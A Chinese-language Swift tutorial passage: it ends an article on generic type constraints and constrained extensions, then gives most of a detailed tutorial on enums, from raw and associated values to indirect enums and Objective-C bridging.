在上述代码中, GourmandWolf<Goose>.Food 即 Goose, 而 GourmandWolf<Sheep>.Food 即 Sheep。顺便说一句，协议中的关联类型虽然属于泛型，但也可以为其添加一些约束或者父类。譬如我们定义的某个协议中为Heap添加了一些列的操作，并且要保证所有的Heap的Key是可比较的，即必须是Comparable的子类或者实现，那么可以添加如下约束：

// Types that conform represent simple max-heaps which use their elements as keys
protocol MaxHeapType {
  // Elements must support comparison ops; e.g. 'a is greater than b'.
  typealias Element : Comparable

  func insert(x: Element)
  func findMax() -> Element?
  func deleteMax() -> Bool
}

Type constraints (类型约束)

截至目前，我们提及的泛型，诸如T以及U可以用任意类型来替换。而标准库中的Array类型即是这样一种无任何约束的典型，可以由其类型参数来决断。譬如下面一个例子中，需要编写一个函数，输入一个数组而获取数组中最大的那个值并且返回：

// Doesn't compile.
func findLargestInArray<T>(array: Array<T>) -> T? {
  if array.isEmpty { return nil }
  var soFar : T = array[0]
  for i in 1..<array.count {
    soFar = array[i] > soFar ? array[i] : soFar
  }
  return soFar
}

不过这样毫无限制的泛型对于编译器是非常不友好的，如上述代码中需要进行一个比较，即array[i] > soFar，而我们只知道array[i]是类型T，并且soFar也是类型T。但是编译器根本不知道这个类型T能否进行比较。譬如我们创建一个空的结构体Foo，并且把它当做类型参数传了进来，那么我们压根不知道>这个比较运算符能否起作用。

在上文对于Protocol的讨论中，我们已经尝试使用:为某个关联类型设置一些约束，而在刚才的例子中，如果传入的String类型是可以正常编译的，但是一旦传入的是NSView类型，则不能正常编译了。而我们可以以如下方式添加约束：

// Note that <T> became <T : Comparable>, meaning that whatever type fills in
// 'T' must conform to Comparable.
func findLargestInArray<T : Comparable>(array: Array<T>) -> T? {
  if array.isEmpty { return nil }
  var soFar : T = array[0]
  for i in 1..<array.count {
    soFar = array[i] > soFar ? array[i] : soFar
  }
  return soFar
}

// Example usage:
let arrayToTest = [1, 2, 3, 100, 12]
// We're calling 'findLargestInArray()' with T = Int.
if let result = findLargestInArray(arrayToTest) {
  print("the largest element in the array is \(result)")
} else {
  print("the array was empty...")
}
// prints: "the largest element in the array is 100"



这是因为，在某种意义上，存在着一种悖论，越限制类型参数与添加约束，用户越能方便地使用这些参数。不加任何限制地类型参数往往只能使用在简单地交换或者从集合中添加或者删除某些元素。

简单约束

func example<T, U : Equatable, V : Hashable>(foo: T, bar: U, baz: V) {
  // ...
}

如果需要对泛型进行细粒度的控制，首先来讨论下在哪些地方可以进行控制处理：


	类似于U,V这样的类型参数，即上文中的普通的泛型参数


	类型参数的关联类型，即上文中协议里的关联类型。




Swift中提供了以下三个类型的约束：


	T : SomeProtocol：类型T必须遵从协议SomeProtocol。需要注意，使用protocol<Foo,Bar>。


	T==U：类型参数T必须是类型参数或者关联类型U。


	T:SomeClass:T必须是一个类，更加具体而言，T必须是SomeClass的一个实例或者它的子类。




Putting it all together

上文中已经介绍了基本的泛型的用法和约束，而对于泛型类型的签名可以综合使用如下：


	声明类型参数，如果愿意的话，最好每个类型参数都要声明遵循某个协议。


	使用where关键字。


	使用逗号分割声明约束。




protocol Foo {
  typealias Key
  typealias Element
}

protocol Bar {
  typealias RawGeneratorType
}

func example<T : Foo, U, V where V : Foo, V : Bar, T.Key == V.RawGeneratorType, U == V.Element>
  (arg1: T, arg2: U, arg3: V) -> U {
  // ...
}

不要惊慌，我们会一步一步地介绍这些泛型的用法。在where关键字之前，我们声明了三个类型参数：T，U以及V。其中T必须遵循Foo协议。而在where关键字之后，我们声明了四个约束：


	V必须遵循Foo协议。


	V也必须实现了Bar协议。


	由于T实现了Foo协议，T有一个关联类型为T.Key。V还有另一个关联类型，V.RawGeneratorType。这两个类型必须是相同的：T.Key == V.RawGeneratorType。


	因为V实现了协议Foo，V包含一个关联类型V.Element。这个类型必须与U一致，U == V.Element。




综上所述，无论何时使用example()函数时，必须要选择合适的T、U以及V类型。

Constrained extensions

Swift 2中新近提出了约束扩展的概念，一个更强大的能够使用泛型的语法特性。在Swift中，扩展允许向任意类型，即使尚未定义的类型中添加方法。同样允许向某个协议中添加默认的实现方法。同样的，这样的基于约束的扩展可以方便某些泛型的用法：


	对于像Array这样的泛型，可以在类型参数符合某个特定的约束的情况下添加某个方法。


	对于像CollectionType这样包含关联类型的协议，可以当某个关联类型符合某个约束时添加默认的实现方法。




Syntax and limitations (语法与限制)

基于约束的扩展语法如下所示：

// Methods in this extension are only available to Arrays whose elements are
// both hashable and comparable.
extension Array where Element : Hashable, Element : Comparable {
  // ...
}

where关键字跟随在类型参数之后，而后跟着以逗号分割的一系列泛型类型和参数。不过这其中的约束中并不能限定为非泛型，即：

// An extension on Array<Int>.
// Error: "Same-type requirement makes generic parameter 'Element' non-generic"
extension Array where Element == Int {
  // ...
}

同时，也不能进行协议的传递：

protocol MyProtocol { /* ... */ }

// Only Arrays with comparable elements conform to MyProtocol.
// Error: "Extension of type 'Array' with constraints cannot have an inheritance clause"
extension Array : MyProtocol where Element : Comparable {
  // ...
}
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本文是一篇详细且具有实战意义的教程，涵盖几乎所有枚举(Enum)知识点，为你解答Swift中枚举的应用场合以及使用方法。

和switch语句类似，Swift中的枚举乍看之下更像是C语言中枚举的进阶版本，即允许你定义一种类型，用于表示普通事情中某种用例。不过深入挖掘之后，凭借Swift背后特别的设计理念，相比较C语言枚举来说其在实际场景中的应用更为广泛。特别是作为强大的工具，Swift中的枚举能够清晰表达代码的意图。

本文中，我们将首先了解基础语法和使用枚举的可能性，接着通过实战教你如何以及何时使用枚举。最后我们还会大致了解下Swift标准库中枚举是如何被使用的。

正式开始学习之前，先给出枚举的定义。之后我们将回过头再来讨论它。

枚举声明的类型是囊括可能状态的有限集，且可以具有附加值。通过内嵌(nesting),方法(method),关联值(associated values)和模式匹配(pattern matching),枚举可以分层次地定义任何有组织的数据。



深入理解(Diving In)

简要概述如何定义和使用枚举。

定义基本的枚举类型(Defining Basic Enums)

试想我们正在开发一款游戏，玩家能够朝四个方向移动。所以喽，玩家的运动轨迹受到了限制。显然，我们能够使用枚举来表述这一情况:


enum Movement{
    case Left
    case Right
    case Top
    case Bottom
}


紧接着，你可以使用多种模式匹配结构获取到Movement的枚举值，或者按照特定情况执行操作:


let aMovement = Movement.Left

// switch 分情况处理
switch aMovement{
case .Left: print("left")
default:()
}

// 明确的case情况
if case .Left = aMovement{
    print("left")
}

if aMovement == .Left { print("left") }


案例中，我们无须明确指出enum的实际名称(即case Move.Left:print("Left"))。因为类型检查器能够自动为此进行类型推算。这对于那些UIKit以及AppKit中错综复杂的枚举是灰常有用的。

枚举值(Enum Values)

当然，你可能想要为enum中每个case分配一个值。这相当有用，比如枚举自身实际与某事或某物挂钩时，往往这些东西又需要使用不同类型来表述。在C语言中，你只能为枚举case分配整型值，而Swift则提供了更多的灵活性。


// 映射到整型
enum Movement: Int {
    case Left = 0
    case Right = 1
    case Top = 2
    case Bottom = 3
}

// 同样你可以与字符串一一对应
enum House: String {
    case Baratheon = "Ours is the Fury"
    case Greyjoy = "We Do Not Sow"
    case Martell = "Unbowed, Unbent, Unbroken"
    case Stark = "Winter is Coming"
    case Tully = "Family, Duty, Honor"
    case Tyrell = "Growing Strong"
}

// 或者float double都可以(同时注意枚举中的花式unicode)
enum Constants: Double {
    case π = 3.14159
    case e = 2.71828
    case φ = 1.61803398874
    case λ = 1.30357
}


对于String和Int类型来说，你甚至可以忽略为枚举中的case赋值，Swift编译器也能正常工作。


// Mercury = 1, Venus = 2, ... Neptune = 8
enum Planet: Int {
    case Mercury = 1, Venus, Earth, Mars, Jupiter, Saturn, Uranus, Neptune
}

// North = "North", ... West = "West"
// 译者注: 这个是swift2.0新增语法
enum CompassPoint: String {
    case North, South, East, West
}


Swift枚举中支持以下四种关联值类型:


	整型(Integer)


	浮点数(Float Point)


	字符串(String)


	布尔类型(Boolean)




因此你无法1为枚举分配诸如CGPoint类型的值。

倘若你想要读取枚举的值，可以通过rawValue属性来实现:


let bestHouse = House.Stark
print(bestHouse.rawValue)
// prints "Winter is coming"


不过某种情形下，你可能想要通过一个已有的raw value来创建一个enum case。这种情况下，枚举提供了一个指定构造方法:


enum Movement: Int {
    case Left = 0
    case Right = 1
    case Top = 2
    case Bottom = 3
}
// 创建一个movement.Right 用例,其raw value值为1
let rightMovement = Movement(rawValue: 1)


倘若使用rawValue构造器，切记它是一个可失败构造器(failable initializer)。换言之，构造方法返回值为可选类型值,因为有时候传入的值可能与任意一个case都不匹配。比如Movement(rawValue:42)。

如果你想要以底层 C 二进制编码形式呈现某物或某事，使得更具可读性，这是一个非常有用的功能。例如，可以看一下BSD kqeue library中的VNode Flags标志位的编码方式:


enum VNodeFlags : UInt32 {
    case Delete = 0x00000001
    case Write = 0x00000002
    case Extended = 0x00000004
    case Attrib = 0x00000008
    case Link = 0x00000010
    case Rename = 0x00000020
    case Revoke = 0x00000040
    case None = 0x00000080
}


如此便可以使你的Delete或Write用例声明一目了然，稍后一旦需要，只需将raw value传入 C 函数中即可。

嵌套枚举(Nesting Enums)

如果你有特定子类型的需求，可以对enum进行嵌套。这样就允许你为实际的enum中包含其他明确信息的enum。以RPG游戏中的每个角色为例，每个角色能够拥有武器，因此所有角色都可以获取同一个武器集合。而游戏中的其他实例则无法获取这些武器(比如食人魔,它们仅使用棍棒)。


enum Character {
  enum Weapon {
    case Bow
    case Sword
    case Lance
    case Dagger
  }
  enum Helmet {
    case Wooden
    case Iron
    case Diamond
  }
  case Thief
  case Warrior
  case Knight
}


现在，你可以通过层级结构来描述角色允许访问的项目条。


let character = Character.Thief
let weapon = Character.Weapon.Bow
let helmet = Character.Helmet.Iron


包含枚举(Containing Enums)

同样地，你也能够在structs或classes中内嵌枚举。接着上面的例子:


struct Character {
   enum CharacterType {
    case Thief
    case Warrior
    case Knight
  }
  enum Weapon {
    case Bow
    case Sword
    case Lance
    case Dagger
  }
  let type: CharacterType
  let weapon: Weapon
}

let warrior = Character(type: .Warrior, weapon: .Sword)


同样地，这也将有助于我们将相关的信息集中在一个位置。

关联值(Associated Value)

关联值是将额外信息附加到enum case中的一种极好的方式。打个比方，你正在开发一款交易引擎，可能存在买和卖两种不同的交易类型。除此之外每手交易还要制定明确的股票名称和交易数量:

简单例程(Simple Example)


enum Trade {
    case Buy
    case Sell
}
func trade(tradeType: Trade, stock: String, amount: Int) {}

然而股票的价值和数量显然从属于交易，让他们作为独立的参数显得模棱两可。你可能已经想到要往struct中内嵌一个枚举了，不过关联值提供了一种更清爽的解决方案：


enum Trade {
    case Buy(stock: String, amount: Int)
    case Sell(stock: String, amount: Int)
}
func trade(type: Trade) {}


模式匹配(Pattern Mathching)

如果你想要访问这些值，模式匹配再次救场:


let trade = Trade.Buy(stock: "APPL", amount: 500)
if case let Trade.Buy(stock, amount) = trade {
    print("buy \(amount) of \(stock)")
}


标签(Labels)

关联值不需要附加标签的声明:


enum Trade {
   case Buy(String, Int)
   case Sell(String, Int)
}

倘若你添加了，那么，每当创建枚举用例时，你都需要将这些标签标示出来。

元组参数(Tuple as Arguments)

更重要的是,Swift内部相关信息其实是一个元组,所以你可以像下面这样做:


let tp = (stock: "TSLA", amount: 100)
let trade = Trade.Sell(tp)

if case let Trade.Sell(stock, amount) = trade {
    print("buy \(amount) of \(stock)")
}
// Prints: "buy 100 of TSLA"


语法允许您将元组当作一个简单的数据结构,稍后元组将自动转换到高级类型，就比如enum case。想象一个应用程序可以让用户来配置电脑:


typealias Config = (RAM: Int, CPU: String, GPU: String)

// Each of these takes a config and returns an updated config
func selectRAM(_ config: Config) -> Config {return (RAM: 32, CPU: config.CPU, GPU: config.GPU)}
func selectCPU(_ config: Config) -> Config {return (RAM: config.RAM, CPU: "3.2GHZ", GPU: config.GPU)}
func selectGPU(_ config: Config) -> Config {return (RAM: config.RAM, CPU: "3.2GHZ", GPU: "NVidia")}

enum Desktop {
   case Cube(Config)
   case Tower(Config)
   case Rack(Config)
}

let aTower = Desktop.Tower(selectGPU(selectCPU(selectRAM((0, "", "") as Config))))


配置的每个步骤均通过递交元组到enum中进行内容更新。倘若我们从函数式编程2中获得启发，这将变得更好。


infix operator <^> { associativity left }

func <^>(a: Config, f: (Config) -> Config) -> Config { 
    return f(a)
}


最后，我们可以将不同配置步骤串联起来。这在配置步骤繁多的情况下相当有用。


let config = (0, "", "") <^> selectRAM  <^> selectCPU <^> selectGPU
let aCube = Desktop.Cube(config)


使用案例(Use Case Example)

关联值可以以多种方式使用。常言道：一码胜千言, 下面就上几段简单的示例代码，这几段代码没有特定的顺序。


// 拥有不同值的用例
enum UserAction {
  case OpenURL(url: NSURL)
  case SwitchProcess(processId: UInt32)
  case Restart(time: NSDate?, intoCommandLine: Bool)
}

// 假设你在实现一个功能强大的编辑器，这个编辑器允许多重选择，
// 正如 Sublime Text : https://www.youtube.com/watch?v=i2SVJa2EGIw
enum Selection {
  case None
  case Single(Range<Int>)
  case Multiple([Range<Int>])
}

// 或者映射不同的标识码
enum Barcode {
    case UPCA(numberSystem: Int, manufacturer: Int, product: Int, check: Int)
    case QRCode(productCode: String)
}

// 又或者假设你在封装一个 C 语言库，正如 Kqeue BSD/Darwin 通知系统:
// https://www.freebsd.org/cgi/man.cgi?query=kqueue&sektion=2
enum KqueueEvent {
    case UserEvent(identifier: UInt, fflags: [UInt32], data: Int)
    case ReadFD(fd: UInt, data: Int)
    case WriteFD(fd: UInt, data: Int)
    case VnodeFD(fd: UInt, fflags: [UInt32], data: Int)
    case ErrorEvent(code: UInt, message: String)
}

// 最后, 一个 RPG 游戏中的所有可穿戴装备可以使用一个枚举来进行映射，
// 可以为一个装备增加重量和持久两个属性
// 现在可以仅用一行代码来增加一个"钻石"属性，如此一来我们便可以增加几件新的镶嵌钻石的可穿戴装备
enum Wearable {
    enum Weight: Int {
    case Light = 1
    case Mid = 4
    case Heavy = 10
    }
    enum Armor: Int {
    case Light = 2
    case Strong = 8
    case Heavy = 20
    }
    case Helmet(weight: Weight, armor: Armor)
    case Breastplate(weight: Weight, armor: Armor)
    case Shield(weight: Weight, armor: Armor)
}
let woodenHelmet = Wearable.Helmet(weight: .Light, armor: .Light)


方法和属性(Methods and properties)

你也可以在enum中像这样定义方法:


enum Wearable {
    enum Weight: Int {
        case Light = 1
    }
    enum Armor: Int {
        case Light = 2
    }
    case Helmet(weight: Weight, armor: Armor)
        func attributes() -> (weight: Int, armor: Int) {
       switch self {
             case .Helmet(let w, let a): return (weight: w.rawValue * 2, armor: w.rawValue * 4)
       }
    }
}
let woodenHelmetProps = Wearable.Helmet(weight: .Light, armor: .Light).attributes()
print (woodenHelmetProps)
// prints "(2, 4)"


枚举中的方法为每一个enum case而“生”。所以倘若想要在特定情况执行特定代码的话，你需要分支处理或采用switch语句来明确正确的代码路径。


enum Device { 
    case iPad, iPhone, AppleTV, AppleWatch 
    func introduced() -> String {
       switch self {
         case AppleTV: return "\(self) was introduced 2006"
         case iPhone: return "\(self) was introduced 2007"
         case iPad: return "\(self) was introduced 2010"
         case AppleWatch: return "\(self) was introduced 2014"
       }
    }
}
print (Device.iPhone.introduced())
// prints: "iPhone was introduced 2007"


属性(Properties)

尽管增加一个存储属性到枚举中不被允许，但你依然能够创建计算属性。当然，计算属性的内容都是建立在枚举值下或者枚举关联值得到的。


enum Device {
  case iPad, iPhone
  var year: Int {
    switch self {
        case iPhone: return 2007
        case iPad: return 2010
     }
  }
}


静态方法(Static Methods)

你也能够为枚举创建一些静态方法(static methods)。换言之通过一个非枚举类型来创建一个枚举。在这个示例中,我们需要考虑用户有时将苹果设备叫错的情况(比如AppleWatch叫成iWatch)，需要返回一个合适的名称。


enum Device { 
    case AppleWatch 
    static func fromSlang(term: String) -> Device? {
      if term == "iWatch" {
      return .AppleWatch
      }
      return nil
    }
}
print (Device.fromSlang("iWatch"))


可变方法(Mutating Methods)

方法可以声明为mutating。这样就允许改变隐藏参数self的case值了3。


enum TriStateSwitch {
    case Off, Low, High
    mutating func next() {
    switch self {
    case Off:
        self = Low
    case Low:
        self = High
    case High:
        self = Off
    }
    }
}
var ovenLight = TriStateSwitch.Low
ovenLight.next()
// ovenLight 现在等于.On
ovenLight.next()
// ovenLight 现在等于.Off

小结(To Recap)

至此，我们已经大致了解了Swift中枚举语法的基本用例。在开始迈向进阶之路之前，让我们重新审视文章开篇给出的定义，看看现在是否变得更清晰了。

枚举声明的类型是囊括可能状态的有限集，且可以具有附加值。通过内嵌(nesting),方法(method),关联值(associated values)和模式匹配(pattern matching),枚举可以分层次地定义任何有组织的数据。



现在我们已经对这个定义更加清晰了。确实，如果我们添加关联值和嵌套，enum就看起来就像一个封闭的、简化的struct。相比较struct，前者优势体现在能够为分类与层次结构编码。


// Struct Example
struct Point { let x: Int, let y: Int }
struct Rect { let x: Int, let y: Int, let width: Int, let height: Int }

// Enum Example
enum GeometricEntity {
   case Point(x: Int, y: Int)
   case Rect(x: Int, y: Int, width: Int, height: Int)
}


方法和静态方法的添加允许我们为enum附加功能，这意味着无须依靠额外函数就能实现4。


// C-Like example
enum Trade {
   case Buy
   case Sell
}
func order(trade: Trade)

// Swift Enum example
enum Trade {
   case Buy
   case Sell
   func order()
}


枚举进阶(Advanced Enum Usage）

协议(Protocols)

我已经提及了structs和enums之间的相似性。除了附加方法的能力之外，Swift也允许你在枚举中使用协议(Protocols)和协议扩展(Protocol Extension)。

Swift协议定义一个接口或类型以供其他数据结构来遵循。enum当然也不例外。我们先从Swift标准库中的一个例子开始.

CustomStringConvertible是一个以打印为目的的自定义格式化输出的类型。


protocol CustomStringConvertible {
  var description: String { get }
}


该协议只有一个要求，即一个只读(getter)类型的字符串(String类型)。我们可以很容易为enum实现这个协议。


enum Trade: CustomStringConvertible {
   case Buy, Sell
   var description: String {
       switch self {
       case Buy: return "We're buying something"
       case Sell: return "We're selling something"
       }
   }
}

let action = Trade.Buy
print("this action is \(action)")
// prints: this action is We're buying something


一些协议的实现可能需要根据内部状态来相应处理要求。例如定义一个管理银行账号的协议。


protocol AccountCompatible {
  var remainingFunds: Int { get }
  mutating func addFunds(amount: Int) throws
  mutating func removeFunds(amount: Int) throws
}


你也许会简单地拿struct实现这个协议，但是考虑应用的上下文，enum是一个更明智的处理方法。不过你无法添加一个存储属性到enum中，就像var remainingFuns:Int。那么你会如何构造呢？答案灰常简单，你可以使用关联值完美解决:


enum Account {
  case Empty
  case Funds(remaining: Int)

  enum Error: ErrorType {
    case Overdraft(amount: Int)
  }

  var remainingFunds: Int {
    switch self {
    case Empty: return 0
    case Funds(let remaining): return remaining
    }
  }
}


为了保持代码清爽，我们可以在enum的协议扩展(protocl extension)中定义必须的协议函数:


extension Account: AccountCompatible {

  mutating func addFunds(amount: Int) throws {
    var newAmount = amount
    if case let .Funds(remaining) = self {
      newAmount += remaining
    }
    if newAmount < 0 {
      throw Error.Overdraft(amount: -newAmount)
    } else if newAmount == 0 {
      self = .Empty
    } else {
      self = .Funds(remaining: newAmount)
    }
  }

  mutating func removeFunds(amount: Int) throws {
    try self.addFunds(amount * -1)
  }

}
var account = Account.Funds(remaining: 20)
print("add: ", try? account.addFunds(10))
print ("remove 1: ", try? account.removeFunds(15))
print ("remove 2: ", try? account.removeFunds(55))
// prints:
// : add:  Optional(())
// : remove 1:  Optional(())
// : remove 2:  nil


正如你所看见的，我们通过将值存储到enum cases中实现了协议所有要求项。如此做法还有一个妙不可言的地方:现在整个代码基础上你只需要一个模式匹配就能测试空账号输入的情况。你不需要关心剩余资金是否等于零。

同时，我们也在账号(Accout)中内嵌了一个遵循ErrorType协议的枚举，这样我们就可以使用Swift2.0语法来进行错误处理了。这里给出更详细的使用案例教程。

扩展(Extensions)

正如刚才所见，枚举也可以进行扩展。最明显的用例就是将枚举的case和method分离，这样阅读你的代码能够简单快速地消化掉enum内容，紧接着转移到方法定义:


enum Entities {
    case Soldier(x: Int, y: Int)
    case Tank(x: Int, y: Int)
    case Player(x: Int, y: Int)
}


现在，我们为enum扩展方法:


extension Entities {
   mutating func move(dist: CGVector) {}
   mutating func attack() {}
}


你同样可以通过写一个扩展来遵循一个特定的协议:


extension Entities: CustomStringConvertible {
  var description: String {
    switch self {
       case let .Soldier(x, y): return "\(x), \(y)"
       case let .Tank(x, y): return "\(x), \(y)"
       case let .Player(x, y): return "\(x), \(y)"
    }
  }
}

枚举泛型(Generic Enums)

枚举也支持泛型参数定义。你可以使用它们以适应枚举中的关联值。就拿直接来自Swift标准库中的简单例子来说，即Optional类型。你主要可能通过以下几种方式使用它:可选链(optional chaining(?))、if-let可选绑定、guard let、或switch，但是从语法角度来说你也可以这么使用Optional:


let aValue = Optional<Int>.Some(5)
let noValue = Optional<Int>.None
if noValue == Optional.None { print("No value") }


这是Optional最直接的用例，并未使用任何语法糖，但是不可否认Swift中语法糖的加入使得你的工作更简单。如果你观察上面的实例代码，你恐怕已经猜到Optional内部实现是这样的5:


// Simplified implementation of Swift's Optional
enum MyOptional<T> {
  case Some(T)
  case None
}


这里有啥特别呢？注意枚举的关联值采用泛型参数T作为自身类型，这样可选类型构造任何你想要的返回值。

枚举可以拥有多个泛型参数。就拿熟知的Either类为例，它并非是Swift标准库中的一部分，而是实现于众多开源库以及
其他函数式编程语言，比如Haskell或F#。设计想法是这样的:相比较仅仅返回一个值或没有值(née Optional)，你更期望返回一个成功值或者一些反馈信息(比如错误值)。


// The well-known either type is, of course, an enum that allows you to return either
// value one (say, a successful value) or value two (say an error) from a function
enum Either<T1, T2> {
  case Left(T1)
  case Right(T2)
}

最后，Swift中所有在class和struct中奏效的类型约束，在enum中同样适用。


// Totally nonsensical example. A bag that is either full (has an array with contents)
// or empty.
enum Bag<T: SequenceType where T.Generator.Element==Equatable> {
  case Empty
  case Full(contents: T)
}


递归 / 间接(Indirect)类型

间接类型是 Swift 2.0 新增的一个类型。 它们允许将枚举中一个 case 的关联值再次定义为枚举。举个例子，假设我们想定义一个文件系统，用来表示文件以及包含文件的目录。如果将文件和目录定义为枚举的 case，则目录 case 的关联值应该再包含一个文件的数组作为它的关联值。因为这是一个递归的操作，编译器需要对此进行一个特殊的准备。Swift 文档中是这么写的：

枚举和 case 可以被标记为间接的(indrect)，这意味它们的关联值是被间接保存的，这允许我们定义递归的数据结构。



所以，如果我们要定义 FileNode 的枚举，它应该会是这样的：


enum FileNode {
  case File(name: String)
  indirect case Folder(name: String, files: [FileNode])
}


此处的 indrect 关键字告诉编译器间接地处理这个枚举的 case。也可以对整个枚举类型使用这个关键字。作为例子，我们来定义一个二叉树:


indirect enum Tree<Element: Comparable> {
    case Empty
    case Node(Tree<Element>,Element,Tree<Element>)
}


这是一个很强大的特性，可以让我们用非常简洁的方式来定义一个有着复杂关联的数据结构。

使用自定义类型作为枚举的值

如果我们忽略关联值，则枚举的值就只能是整型，浮点型，字符串和布尔类型。如果想要支持别的类型，则可以通过实现 StringLiteralConvertible 协议来完成，这可以让我们通过对字符串的序列化和反序列化来使枚举支持自定义类型。

作为一个例子，假设我们要定义一个枚举来保存不同的 iOS 设备的屏幕尺寸：


enum Devices: CGSize {
   case iPhone3GS = CGSize(width: 320, height: 480)
   case iPhone5 = CGSize(width: 320, height: 568)
   case iPhone6 = CGSize(width: 375, height: 667)
   case iPhone6Plus = CGSize(width: 414, height: 736)
}


然而，这段代码不能通过编译。因为 CGPoint 并不是一个常量，不能用来定义枚举的值。我们需要为想要支持的自定义类型增加一个扩展，让其实现 StringLiteralConvertible 协议。这个协议要求我们实现三个构造方法，这三个方法都需要使用一个String类型的参数，并且我们需要将这个字符串转换成我们需要的类型(此处是CGSize)。


extension CGSize: StringLiteralConvertible {
    public init(stringLiteral value: String) {
    let size = CGSizeFromString(value)
    self.init(width: size.width, height: size.height)
    }

    public init(extendedGraphemeClusterLiteral value: String) {
    let size = CGSizeFromString(value)
    self.init(width: size.width, height: size.height)
    }

    public init(unicodeScalarLiteral value: String) {
    let size = CGSizeFromString(value)
    self.init(width: size.width, height: size.height)
    }
}


现在就可以来实现我们需要的枚举了，不过这里有一个缺点：初始化的值必须写成字符串形式，因为这就是我们定义的枚举需要接受的类型(记住，我们实现了 StringLiteralConvertible，因此String可以转化成CGSize类型)


enum Devices: CGSize {
   case iPhone3GS = "{320, 480}"
   case iPhone5 = "{320, 568}"
   case iPhone6 = "{375, 667}"
   case iPhone6Plus = "{414, 736}"
}


终于，我们可以使用 CGPoint 类型的枚举了。需要注意的是，当要获取真实的 CGPoint 的值的时候，我们需要访问枚举的是 rawValue 属性。


let a = Devices.iPhone5
let b = a.rawValue
print("the phone size string is \(a), width is \(b.width), height is \(b.height)")
// prints : the phone size string is iPhone5, width is 320.0, height is 568.0


使用字符串序列化的形式，会让使用自定义类型的枚举比较困难，然而在某些特定的情况下，这也会给我们增加不少便利(比较使用NSColor / UIColor的时候)。不仅如此，我们完全可以对自己定义的类型使用这个方法。

对枚举的关联值进行比较

在通常情况下，枚举是很容易进行相等性判断的。一个简单的 enum T { case a, b } 实现默认支持相等性判断 T.a == T.b, T.b != T.a

然而，一旦我们为枚举增加了关联值，Swift 就没有办法正确地为两个枚举进行相等性判断，需要我们自己实现 == 运行符。这并不是很困难：


enum Trade {
    case Buy(stock: String, amount: Int)
    case Sell(stock: String, amount: Int)
}
func ==(lhs: Trade, rhs: Trade) -> Bool {
   switch (lhs, rhs) {
     case let (.Buy(stock1, amount1), .Buy(stock2, amount2))
       where stock1 == stock2 && amount1 == amount2:
       return true
     case let (.Sell(stock1, amount1), .Sell(stock2, amount2))
       where stock1 == stock2 && amount1 == amount2:
       return true
     default: return false
   }
}


正如我们所见，我们通过 switch 语句对两个枚举的 case 进行判断，并且只有当它们的 case 是匹配的时候(比如 Buy 和 Buy)才对它们的真实关联值进行判断。

自定义构造方法

在 静态方法 一节当中我们已经提到它们可以作为从不同数据构造枚举的方便形式。在之前的例子里也展示过，对出版社经常误用的苹果设备名返回正确的名字：


enum Device { 
    case AppleWatch 
    static func fromSlang(term: String) -> Device? {
      if term == "iWatch" {
      return .AppleWatch
      }
      return nil
    }
}


我们也可以使用自定义构造方法来替换静态方法。枚举与结构体和类的构造方法最大的不同在于，枚举的构造方法需要将隐式的 self  属性设置为正确的 case。


enum Device { 
    case AppleWatch 
    init?(term: String) {
      if term == "iWatch" {
      self = .AppleWatch
      }
      return nil
    }
}


在这个例子中，我们使用了可失败(failable)的构造方法。但是，普通的构造方法也可以工作得很好：


enum NumberCategory {
   case Small
   case Medium
   case Big
   case Huge
   init(number n: Int) {
    if n < 10000 { self = .Small }
    else if n < 1000000 { self = .Medium }
    else if n < 100000000 { self = .Big }
    else { self = .Huge }
   }
}
let aNumber = NumberCategory(number: 100)
print(aNumber)
// prints: "Small"


对枚举的 case 进行迭代

一个特别经常被问到的问题就是如何对枚举中的 case 进行迭代。可惜的是，枚举并没有遵守SequenceType协议，因此没有一个官方的做法来对其进行迭代。取决于枚举的类型，对其进行迭代可能也简单，也有可能很困难。在StackOverflow上有一个很好的讨论贴。贴子里面讨论到的不同情况太多了，如果只在这里摘取一些会有片面性，而如果将全部情况都列出来，则会太多。

对 Objective-C 的支持

基于整型的枚举，如 enum Bit: Int { case Zero = 0; case One = 1 } 可以通过 @objc 标识来将其桥接到 Objective-C 当中。然而，一旦使用整型之外的类型(如 String)或者开始使用关联值，我们就无法在 Objective-C 当中使用这些枚举了。

有一个名为_ObjectiveCBridgeable的隐藏协议，可以让规范我们以定义合适的方法，如此一来，Swift 便可以正确地将枚举转成 Objective-C 类型，但我猜这个协议被隐藏起来一定是有原因的。然而，从理论上来讲，这个协议还是允许我们将枚举(包括其实枚举值)正确地桥接到 Objective-C 当中。

但是，我们并不一定非要使用上面提到的这个方法。为枚举添加两个方法，使用 @objc 定义一个替代类型，如此一来我们便可以自由地将枚举进行转换了，并且这种方式不需要遵守私有协议：


enum Trade {
    case Buy(stock: String, amount: Int)
    case Sell(stock: String, amount: Int)
}

// 这个类型也可以定义在 Objective-C 的代码中
@objc class OTrade: NSObject {
    var type: Int
    var stock: String
    var amount: Int
    init(type: Int, stock: String, amount: Int) {
    self.type = type
    self.stock = stock
    self.amount = amount
    }
}

extension Trade  {

    func toObjc() -> OTrade {
    switch self {
    case let .Buy(stock, amount):
        return OTrade(type: 0, stock: stock, amount: amount)
    case let .Sell(stock, amount):
        return OTrade(type: 1, stock: stock, amount: amount)
    }
    }

    static func fromObjc(source: OTrade) -> Trade? {
    switch (source.type) {
    case 0: return Trade.Buy(stock: source.stock, amount: source.amount)
    case 1: return Trade.Sell(stock: source.stock, amount: source.amount)
    default: return nil
    }
    }
}


这个方法有一个的缺点，我们需要将枚举映射为 Objective-C 中的 NSObject 基础类型(我们也可以直接使用 NSDictionary)，但是，当我们碰到一些确实需要在 Objective-C 当中获取有关联值的枚举时，这是一个可以使用的方法。

枚举底层

Erica Sadun 写过一篇很流弊的关于枚举底层的博客，涉及到枚举底层的方方面面。在生产代码中绝不应该使用到这些东西，但是学习一下还是相当有趣的。在这里，我准备只提到那篇博客中一条，如果想了解更多，请移步到原文：

枚举通常都是一个字节长度。[...]如果你真的很傻很天真，你当然可以定义一个有成百上千个 case 的枚举，在这种情况下，取决于最少所需要的比特数，枚举可能占据两个字节或者更多。



Swift 标准库中的枚举

在我们准备继续探索枚举在项目中的不同用例之前，先看一下在 Swift 标准库当中是如何使用枚举可能会更诱人，所以现在让我们先来看看。


	Bit 这个枚举有两个值，One 和 Zero。它被作为 CollectionOfOne<T> 中的 Index 类型。


	FloatingPointClassification 这个枚举定义了一系列 IEEE 754 可能的类别，比如 NegativeInfinity, PositiveZero 或 SignalingNaN。


	Mirror.AncestorRepresentation 和 Mirror.DisplayStyle 这两个枚举被用在 Swift 反射 API 的上下文当中。


	Optional 这个就不用多说了


